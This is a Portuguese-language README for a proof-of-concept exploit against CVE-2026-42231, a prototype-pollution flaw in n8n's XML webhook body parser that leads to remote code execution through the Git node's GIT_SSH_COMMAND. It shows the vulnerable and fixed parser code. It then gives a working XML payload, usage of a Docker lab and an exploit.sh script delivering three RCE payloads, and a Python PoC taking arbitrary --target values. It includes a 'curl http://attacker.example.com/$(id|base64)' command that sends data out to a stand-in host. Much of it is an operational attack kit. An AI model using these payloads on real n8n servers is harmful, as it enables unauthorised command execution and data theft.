
Prova de conceito de exploração para CVE-2026-42231, uma vulnerabilidade crítica de poluição de protótipo em webhooks XML do n8n que leva à execução remota de código. Inclui laboratório Docker, PoC em Python e verificador em Node.js.
CVE: CVE-2026-42231
Gravidade: Crítica (CVSS 10.0)
Afetados: n8n < 1.123.32 / < 2.17.4 / < 2.18.1
Corrigido em: n8n 1.123.32 / 2.17.4 / 2.18.1
packages/cli/src/middlewares/body-parser.ts cria um
singleton xml2js Parser em nível de módulo sem tagNameProcessors ou
attrNameProcessors. Isso permite que um atacante envie um corpo de webhook XML
contendo um elemento <__proto__>.
xml2js 0.6.2 usa Object.defineProperty com um descritor de dados para definir
chaves de elementos em objetos analisados. Como '__proto__' in obj é sempre
true, assignOrPush() envolve o valor em um array e o armazena como uma
propriedade de dados enumerável própria — contornando o accessor [[Set]] que
normalmente atualizaria a cadeia de protótipos com segurança.
A propriedade própria __proto__ sobrevive ao JSON.stringify (executado quando o n8n
persiste dados de execução no SQLite/PostgreSQL), e após JSON.parse no
recarregamento, um Object.assign(target, reloadedBody) subsequente redireciona
o protótipo de target para o objeto controlado pelo atacante.
Em workflows que também contêm um nó Git realizando uma operação SSH,
o protótipo poluído expõe um valor spawnOptions / GIT_SSH_COMMAND
ao createInstanceConfig do simple-git, permitindo execução de comandos
em nível de sistema operacional.
// packages/cli/src/middlewares/body-parser.ts (VULNERÁVEL — < 1.123.32)
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true, // converte tags para minúsculas — mas NÃO bloqueia __proto__
explicitArray: false,
// ← SEM tagNameProcessors
// ← SEM attrNameProcessors
});
Correção (>= 1.123.32):
function sanitizeXmlName(name: string): string {
const unsafe = new Set(['__proto__', 'constructor', 'prototype']);
return unsafe.has(name) ? `sanitized_${name}` : name;
}
const xmlParser = new XmlParser({
async: true,
normalize: true,
normalizeTags: true,
explicitArray: false,
tagNameProcessors: [sanitizeXmlName],
attrNameProcessors: [sanitizeXmlName],
});
1. O atacante envia um POST XML para um trigger de Webhook público:
POST /webhook/<id> Content-Type: application/xml
<?xml version="1.0" encoding="UTF-8"?>
<root>
<__proto__>
<env GIT_SSH_COMMAND="attacker_cmd"/>
<spawnoptions><shell>true</shell></spawnoptions>
</__proto__>
</root>
2. O parser de corpo xml2js cria req.body.root onde '__proto__' é uma
PROPRIEDADE DE DADOS ENUMERÁVEL PRÓPRIA:
Object.getOwnPropertyDescriptor(req.body.root, '__proto__')
→ { value: [{}, {env: {$: {GIT_SSH_COMMAND: '...'}}, ...}],
enumerable: true, writable: true, configurable: true }
3. O deepCopy() do n8n itera chaves próprias via for...in + hasOwnProp.
A atribuição clone['__proto__'] = deepCopy(attackerArray)
substitui silenciosamente o protótipo de clone via o accessor [[Set]].
4. O n8n serializa dados de execução para o banco de dados:
JSON.stringify(body.root)
→ '{"__proto__":[{},{"env":...,"spawnoptions":...}],"data":"..."}'
A chave __proto__ é incluída porque é própria e enumerável.
Confirmado na tabela execution_data no SQLite.
5. No recarregamento, JSON.parse recria '__proto__' como uma propriedade de dados
própria (objeto simples, sem envolvimento em array).
Object.assign(gitOptions, reloadedBody)
redireciona o protótipo de gitOptions para o objeto controlado pelo atacante.
6. Quando o nó Git chama simpleGit(gitOptions):
createInstanceConfig(gitOptions)
lê config.spawnOptions via a cadeia de protótipos → truthy →
spawnOptionsPlugin é registrado.
Com GIT_SSH_COMMAND no objeto env, o git executa o comando do
atacante na próxima operação SSH.
normalizeTagsnormalizeTags: true converte todas as tags XML para minúsculas, então elementos filhos
como <GIT_SSH_COMMAND> tornam-se git_ssh_command no objeto analisado.
Para preservar maiúsculas/minúsculas em nomes de variáveis de ambiente, use atributos XML
(nomes de atributos não são normalizados por normalizeTags):
<env GIT_SSH_COMMAND="attacker_cmd"/>
chmod +x exploit.sh
./exploit.sh setup
Isso baixa n8nio/n8n:1.123.22 (última versão afetada), constrói a
imagem do atacante, inicia o alvo vulnerável em http://localhost:5678,
cria e ativa um workflow de webhook automaticamente, e salva a
URL do webhook em .webhook_state.
./exploit.sh setup
Saída esperada (truncada):
[*] Baixando imagem vulnerável do n8n (1.123.22) ...
[*] Construindo imagem do atacante ...
[*] Iniciando alvo n8n vulnerável ...
[*] Aguardando o n8n ficar saudável ...
[*] Criando workflow de webhook (Webhook → nó Code) ...
[+] Laboratório pronto.
Execute: ./exploit.sh demo # verificar a primitiva de poluição
./exploit.sh exploit # entregar os três payloads de RCE
./exploit.sh demo
O PoC envia um payload de verificação e mostra o corpo analisado ecoado de volta do workflow do n8n. Uma instância vulnerável retorna:
[+] HTTP 200
Response: {"step1_ownEnumerableProto":true,
"step1_descriptor":{"enumerable":true,
"value":"[{},{\"polluted\":\"GHSA-q5f4-99jv-pgg5-CONFIRMED\"}]"},
"step2_deepCopySimulated":true,
"step3_jsonRoundTripOwn":true,
"step3_jsonStr":"{\"__proto__\":[...],\"legit\":\"harmless-data\"}",
"step4_objectAssignPolluted":true, ...}
./exploit.sh exploit
# ou com um comando personalizado:
./exploit.sh exploit "curl http://attacker.example.com/\$(id|base64)"
Três payloads complementares são entregues:
| Payload | Técnica |
|---|---|
| A | Tag <__proto__> — GIT_SSH_COMMAND como atributo XML |
| B | Cadeia <constructor><prototype> |
| C | <__proto__> aninhado com atributos env |
GIT_SSH_COMMAND injetado se o RCE disparou."step4_objectAssignPolluted": true confirmando a cadeia.pip install -r requirements.txt
# Apenas verificação — sem necessidade de nó Git:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <caminho-do-webhook> \
--demo
# Exploit completo — requer workflow com Webhook + nó Git/SSH:
python3 poc_GHSA-q5f4-99jv-pgg5.py \
--target http://n8n.target.com \
--webhook-id <caminho-do-webhook> \
--cmd 'curl http://attacker.example.com/$(id|base64)'
Em algumas implantações, o n8n registra o webhook como
/webhook/<workflowId>/webhook/<caminho>. Se a forma curta
/webhook/<caminho> retornar 404, passe o prefixo do workflow-ID como --target: